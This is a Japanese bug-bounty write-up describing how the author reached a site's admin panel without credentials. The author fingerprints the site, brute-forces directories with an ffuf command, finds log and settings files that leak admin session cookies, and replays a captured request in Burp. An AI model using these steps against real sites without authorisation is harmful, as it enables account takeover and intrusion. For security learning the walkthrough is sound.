Hello there, ('ω')ノ
クレデンシャルなしで管理パネルをバイパスできた方法を。
脆弱性:
情報開示
記事:
ターゲットをexample.comとすると。
メインドメインは、脆弱性を見つけるためにテストする唯一のスコープで。
ウェブサイトにアクセスするときはいつでも最初に。
使用されている技術を理解しようとして。
そのために、Wappalyzerと呼ばれる拡張機能を使用することに。
https://addons.mozilla.org/ja/firefox/addon/wappalyzer/
結果からWordPressであるCMS(コンテンツ管理システム)があると考えて。
まずは、バイパスのために/wp-adminにアクセスするとうまくいかず。
そこで誤検知だったのかを検証するために、Wpscanというツールを使用することに。
これは、Wappalyzerの誤検知をどのように表示できるかを示す良い例で。
WordPressが誤検知だったので、まずは、偵察プロセスから始めることに。
1)ディレクトリブルートフォース
下記のようにディレクトリをブルートフォースするためのツールは複数あって。
①FFUF
②GoBuster
③DirDar
https://github.com/OJ/gobuster
https://github.com/M4DM0e/DirDar
また、ディレクトリをブルートフォースするために利用できるリストも多すぎて。
①Seclist:
②DirSearch:
③Assetnote
今回は、ffufツールをassetnoteファイルと一緒に使用することに。
https://wordlists.assetnote.io/
コマンド:
ffuf -c -w /wordlist -u /URL/FUZZ -mc 200,301,302 -t 500
すると、「sitemanager」というディレクトリの1つに入ることができたので。
ディレクトリを開くと、会社のCMSログインページが表示されて。
下記のようにデフォルトのクレデンシャルを使用しようとしたところ。
管理者ポータルにアクセスできなかったので。
https://www.example.com/sitemanager/login.php?location=%2Fsitemanager%2F
下記のディレクトリを再ブルートフォースすると。
/sitemanager/FUZZ
非常に多くのエンドポイントを誤検知(サイズ「0」で、200 OK)で取得できた中。
ワードリストから下記の1つだけが機能して。
/startup.sh/
これで、管理ポータルにエスカレーションできるエンドポイントを。
いくつか取得できて。
「errors_php.txt」と「settings.txt」では、資格情報が公開される可能性があって。
errors_php.txt:
Error occurred: 02.11.2020 10:02:32
user: admin, script: /sitemanager/admin.php
IP:77.**.**.**| ISP info: host-77–236–201–15| Session: emdcjngeinl81f9kl5c9hjlp31| Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
8, Undefined variable: edit_profile_page_pid, /home/text/www/site/modrw.php, 42
Error occured: 02.11.2020 10:56:16
user: admin, script: /sitemanager/admin.php
IP:77.**.**.**| ISP info: host-77–236–201–15| Session: emdcjngeinl81f9kl5c9hjlp31| Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
8, Undefined variable: edit_profile_page_pid, /home/text/www/site/modrw.php, 42
Error occured: 05.11.2020 11:41:46
user: admin, script: /sitemanager/admin.php
IP:77.**.**.**| ISP info: host-77–236–201–15| Session: i6f928p13qcd1bpoin5lkljj31| Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
8, Undefined variable: edit_profile_page_pid, /home/text/www/site/modrw.php, 45
このエラーファイルを使用して。
管理者ポータルにエスカレーションできるとおもったので。
この2つのファイルが脆弱性として認められて。
2. settings.txt
さらにこのファイルを開いて、BurpでいくつかのHTTPリクエストを取得すると。
Cookieが含まれていて。
これらのリクエストの応答は、管理者と同じCookieで複数のユーザのもので。
下記が、adminのHTTPリクエストで。
date: 2020–11–20 15:19:41
settings
headers: GET
Host: www.example.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://www.example.com/sitemanager/admin.php
Accept-Encoding: gzip, deflate, br
Accept-Language: cs,en-GB;q=0.9,en;q=0.8,sk;q=0.7
Cookie: __stripe_mid=b1a624a3-b1da-45aa-9aca-6236dd8###; _ga=GA1.2.805574655.149725####; __atuvc=0%7C41%2C0%7C42%2C0%7C43%2C0%7C44%2C1%7C45; language=cs; PHPSESSID=lqcp890ff17r02erb#####; _gid=GA1.2.1643979482.1542716##; login_config=u%3admin; _gat=1
IP info:
script: /sitemanager/settings.php
IP:213.**.**.**
ISP info: 213.**.**.**
Session: lqcp890ff17r02erbkot5u###
Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
これをBurp Suiteのリピータに貼り付けて。
リピータにいくつかの基本的な変更を行って。
ターゲットセクションを追加した後、200OKになったので。
「/dashboard.php」というディレクトリで。
管理者アクセスを取得して、ポータルを使用できるようになって。
Best regards, (^^ゞ